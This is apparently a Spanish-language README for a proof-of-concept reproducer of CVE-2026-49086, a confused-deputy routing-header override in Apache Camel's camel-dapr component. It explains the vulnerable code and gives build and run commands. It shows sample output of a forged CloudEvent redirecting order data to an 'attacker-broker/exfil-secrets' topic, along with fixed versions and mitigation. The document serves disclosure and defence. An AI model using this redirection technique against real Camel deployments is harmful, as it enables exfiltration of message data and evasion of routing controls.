
Reproductor de PoC para CVE-2026-49086 que demuestra una anulación del encabezado de enrutamiento por confused deputy en Apache Camel camel-dapr, lo que permite la redirección de mensajes y la exfiltración de datos mediante campos CloudEvent no confiables.
Este proyecto demuestra una falla de anulación de encabezado de enrutamiento (confused-deputy) en el componente camel-dapr
de Apache Camel, registrada como CVE-2026-49086.
El consumidor pub/sub de Dapr (DaprPubSubConsumer) copia los campos del CloudEvent entrante (no confiable) a los
encabezados de mensaje de Exchange. Dos de ellos — pubsubName y topic — son encabezados de enrutamiento en dirección del productor
(CamelDaprPubSubName / CamelDaprTopic). Cuando la misma ruta publica posteriormente con un productor dapr:pubSub,
DaprConfigurationOptionsProxy prefiere el valor del encabezado sobre el valor configurado en el endpoint. Así, el sobre
entrante, que un remitente de mensajes no confiable controla, anula silenciosamente el destino al que la ruta vuelve a publicar:
// DaprPubSubConsumer.createServiceBusExchange (afectado 4.18.2) — sobre no confiable -> encabezados de enrutamiento
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (afectado 4.18.2) — el encabezado GANA sobre la configuración del endpoint
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // configuración del endpoint (p. ej. audit-broker/audit-log)
: exchangeFn.apply(exchange); // el encabezado copiado del CloudEvent entrante
En una ruta que consume de un topic y vuelve a publicar a otro (un patrón común de auditoría/reenvío/fan-out),
un actor que pueda publicar en el topic suscrito establece el pubsubName/topic del CloudEvent y redirige
el mensaje republicado a un componente + topic de Dapr pub/sub arbitrario — exfiltrando la carga útil a un
broker accesible por el atacante, o evadiendo el enrutamiento/ACLs previstos. Esto es un confused-deputy: la aplicación
vuelve a publicar con sus propias credenciales de Dapr a un destino elegido por el atacante.
Este PoC demuestra el impacto como redirección de mensajes / exfiltración de datos (CWE-441, derivada de CWE-20).
Aviso: https://camel.apache.org/security/CVE-2026-49086.html
La corrección impide que el consumidor establezca los dos encabezados de enrutamiento (
CamelDaprPubSubName/CamelDaprTopic); los demás encabezados de metadatos del CloudEvent no cambian. Así, el productor usa siempre el pub/sub + topic configurado en el endpoint. (También se añadióDaprHeaderFilterStrategypara la coherencia del catálogo, pero el cambio del encabezado de enrutamiento es la corrección efectiva.)
La vulnerabilidad está enteramente en Camel — el consumidor copia CloudEvent.pubsubName/topic a los encabezados
de enrutamiento, y el productor prefiere dichos encabezados. El sidecar de Dapr es solo transporte. Este reproductor inyecta
clientes simulados del SDK de Dapr (client=#mockClient, previewClient=#mockPreview) para que los reales
DaprPubSubConsumer y DaprPubSubHandler se ejecuten sin cambios y sin sidecar: el cliente preview simulado captura el
listener de suscripción, y el cliente simulado registra el destino de publicación. El controlador atacante entrega entonces un CloudEvent
forjado al listener capturado — exactamente lo que dispararía un remitente capaz de publicar en el topic suscrito.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
El autor pretende que cada pedido se replique al destino fijo audit-broker/audit-log. Pero como el consumidor
copia el pubsubName/topic del sobre entrante a los encabezados de enrutamiento, el productor de auditoría publica en
lo que indique el sobre — nunca en el flujo de auditoría configurado.
Todo se ejecuta en un único contenedor autocontenido.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitivo) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # único servicio autocontenido
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (proxies dinámicos; sin sidecar)
│ ├── PublishRecorder.java # registra dónde publicó realmente el productor
│ ├── SubscriptionRegistry.java # captura el listener de suscripción del consumidor
│ ├── VictimRoutes.java # suscripción dapr:pubSub -> publicación dapr:pubSub (auditoría)
│ └── ExploitController.java # atacante: entrega CloudEvents forjados; compara el destino de publicación
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr: anulación de encabezado de enrutamiento del consumidor (confused deputy) ===
Intención de la ruta: replicar cada pedido a un flujo de auditoría FIJO
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Evento de pedido ordinario (sobre pubsub=orders-broker topic=orders)
copia de auditoría realmente publicada en: orders-broker / orders
-> ya NO es el audit-broker/audit-log configurado: los campos de enrutamiento del sobre se filtraron al productor.
2) Evento de pedido malicioso (sobre forjado: pubsub=attacker-broker topic=exfil-secrets)
copia de auditoría realmente publicada en: attacker-broker / exfil-secrets
datos de pedido filtrados: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> DEMOSTRADO: el pubsubName/topic del CloudEvent entrante anuló el destino de auditoría
>>> codificado en la ruta, por lo que un atacante que pueda publicar en 'orders' redirige la copia del pedido a
>>> un componente + topic de pub/sub arbitrario (exfiltración de datos / evasión de enrutamiento): true
Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Tras la corrección, el consumidor ya no establece
CamelDaprPubSubName / CamelDaprTopic, por lo que un productor dapr:pubSub situado aguas abajo de un consumidor dapr:pubSub usa
el componente y topic de pub/sub configurados en su endpoint.
Hasta actualizar, elimine los encabezados de enrutamiento entre el consumidor y cualquier productor dapr:pubSub de la ruta (por
ejemplo removeHeaders("CamelDaprPubSubName,CamelDaprTopic")), y establezca el pub/sub + topic de republicación desde una
fuente confiable.
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-dapr |
| Clase afectada | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (establece los encabezados PUBSUB_NAME/TOPIC a partir del CloudEvent entrante) |
| CWE | CWE-20 (Validación de entrada incorrecta) / CWE-441 (Proxy no intencionado / Confused Deputy) |
| Impacto | Redirigir el mensaje republicado a un componente + topic de Dapr pub/sub arbitrario (exfiltración / evasión de enrutamiento y ACLs) |
| Precondiciones | Una ruta consume de un topic dapr:pubSub y vuelve a publicar mediante un productor dapr:pubSub; el atacante puede publicar en el topic suscrito |
| Versiones afectadas | 4.12.0 hasta 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Crédito | Leon Zlobecki |